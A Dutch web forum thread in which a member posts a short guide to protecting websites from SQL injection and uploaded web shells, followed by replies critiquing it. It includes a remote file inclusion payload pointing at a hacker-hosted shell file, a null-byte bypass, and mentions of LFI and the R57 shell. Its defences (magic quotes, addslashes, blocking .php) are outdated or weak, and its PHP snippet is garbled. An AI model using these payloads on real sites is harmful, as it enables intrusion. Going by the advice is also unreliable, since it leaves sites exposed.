Beveilig jouw website tegen Hackers.

Gestart doorSmiegles16 reacties197 weergaven

17 berichten · pagina 1 van 2

Smiegles

Lid · Topicstarter

Berichten
4.912
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Hoofdstukken
-Sql injection.
-Shell.
--Manieren waarop een shell geupload word.
---Upload systeem.
---?page=www.shell.nl/txt.txt?

Laten we beginnen.
wat is een sql injectie?
een sql injectie is een omleiding om in een Database te komen.
zo zou je wachtwoorden en emails enz kunnen achterhalen
Sql injections Zijn makkelijk te voorkomen.
hoe werkt het.
je hebt de link /page=nieuws.php?id=1
je kunt testen of jou website te hacken is door een voor de 1 te zetten.
/page=nieuws.php?id=1 Krijg je dan een error zoals.

Unknown column veld in where clause


je kunt het zo voorkomen

[COLOR= #0000BB]<?php[/COLOR]
    [COLOR= #FF8000]// Magic quote check[/COLOR]
    [COLOR= #0000BB]$magicQuotesEnabled[/COLOR] [COLOR= #007700]= ([/COLOR]bool[COLOR= #007700])[/COLOR] [URL="http://www.php.net/ini_get"]ini_get[/URL][COLOR= #007700]([/COLOR][COLOR= #DD0000]magic_quotes_gpc[/COLOR][COLOR= #007700]);[/COLOR]
    [URL="http://www.php.net/if"]if[/URL][COLOR= #007700]([/COLOR][COLOR= #0000BB]$magicQuotesEnabled[/COLOR] [COLOR= #007700]===[/COLOR] true[COLOR= #007700]) {[/COLOR]
        Application[COLOR= #007700]:[/COLOR]SMILEYYYYYYYYYYYBEGIN[COLOR= #007700]:[/COLOR]superglobal_strip_slashes[COLOR= #007700]();
    }[/COLOR]
?>


Shell
een shell zorgt ervoor dat ze alle paginas op jouw website kunnen lezen en veranderen.
een shell word geupload op jou website.
door een upload systeempje of een Get page die niet beveiligd is.
let op!

?page=nieuws.php is de link.
als jou website google included als je dit er van maakt
?page=www.google.nl
dit zou bijvoorbeeld ook kunnen zijn
?page=www.hackerssite.nl/shell99.txt?
nu laat het het txt bestand zien maar omdat hij het leest word het php en activeer je de shell
Dan is het niet veilig hoe je dit beveiligd hangt van het script af.

een upload script gaat makkelijker dan moet je gewoon .php uitsluiten!
0
Berichten
1.479
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Ik snap er geen fluit van bloos
Kan je beter uitleggen?
0
Berichten
1.101
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Het is ook niet echt een tut he?
alleen het sql stukje word een beetje uitgelegd,
maar het shell stukje, snap er geen snars van.
0
Smiegles

Lid · Topicstarter

Berichten
4.912
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Lees het opnieuw danemoemo
0
Berichten
4.013
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Wtf ben je met die error bij een sql injection emo
0
Berichten
1.101
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Semmiiee schreef:
Wtf ben je met die error bij een sql injection emo
Dan is het systeem kwestbaar en kan je in de MySQL database SQL injections draaien.
0
Smiegles

Lid · Topicstarter

Berichten
4.912
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Semmiiee schreef:
Wtf ben je met die error bij een sql injection emo
ik leg uit hoe je er achter komt of het mogelijk is niet hoe het moet,
0
Berichten
20.364
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Dat 1e stukje is gewoon voorgekauwd, je legt niet goed uit wat de functie er van is. En dat 2e stukje is helemaal vaag.
0
Smiegles

Lid · Topicstarter

Berichten
4.912
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
ik zal hem effe aanpassenbiggrin
0
Berichten
4.013
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Wtf is er nu verandert dan?
0
Smiegles

Lid · Topicstarter

Berichten
4.912
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Wil je niet schelden in MIJN topic SEMMIIEE.

en als je goed kijkt zie je het zelf
0
Berichten
93.699
Reputatie
0
Punten
1,27
Lid sinds
Laatst gezien
Ik wist het al wel, maar dit topic snap ik niet echt qua uitleg.
0
Berichten
21
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
-> Sql injection
Leuk bedacht, helaas werkt dat niet als je bijv. met profielen wilt werken en je doet ?user=TopErwin dan ziet hij hem alsnog niet als int, terwijl het geen inject is,
Gebruik iets als addslashes() dan zal hij de -- en al die andere tekens filteren door er een voor te zetten wat betekend dat hij niet bij de query hoort maar bij de string/int wink
-> Shell
.php erachter neerzetten heeft geen zin,
Wanneer je gebruikt ?page=www.google.nl%00 zal hij jouw einde wegfilteren smileEn je houd ook geen rekening met LFI exploits waarmee hij bijv. het config bestand kan nemen smile
-> Upload systeem
$_POST kan je ook injecten,
En je kan de de write/read rechten beveiligen, maar met een R57 shell kan je die rechten beveiliging wegnemen smileOplossing: Zorg ervoor dat na het uploaden het bestand word renamed, en dat je je uploadscript laat uploaden in bijv. /files/ en zet in /files/ dan in de .htaccess de php-functie uit wink
0
Berichten
119
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Uberdude schreef:
-> Sql injection
Leuk bedacht, helaas werkt dat niet als je bijv. met profielen wilt werken en je doet ?user=TopErwin dan ziet hij hem alsnog niet als int, terwijl het geen inject is,
Gebruik iets als addslashes() dan zal hij de -- en al die andere tekens filteren door er een voor te zetten wat betekend dat hij niet bij de query hoort maar bij de string/int wink
-> Shell
.php erachter neerzetten heeft geen zin,
Wanneer je gebruikt ?page=www.google.nl%00 zal hij jouw einde wegfilteren smileEn je houd ook geen rekening met LFI exploits waarmee hij bijv. het config bestand kan nemen smile
-> Upload systeem
$_POST kan je ook injecten,
En je kan de de write/read rechten beveiligen, maar met een R57 shell kan je die rechten beveiliging wegnemen smileOplossing: Zorg ervoor dat na het uploaden het bestand word renamed, en dat je je uploadscript laat uploaden in bijv. /files/ en zet in /files/ dan in de .htaccess de php-functie uit wink
een wijs man smile
0
Berichten
788
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Ah, ik snap het wel en Smiegles ty voor deze nuttige topic.
Je leert hiervan hoe SQL injection en Shells kunt tegen houden.
En hou het nou precies werkt. Goed gedaan!
0

Jouw reactie

Deel je idee, stel een vraag of help een ander verder.

Editor laden…

Praat mee met de One2xs-community.

Inloggen om te reageren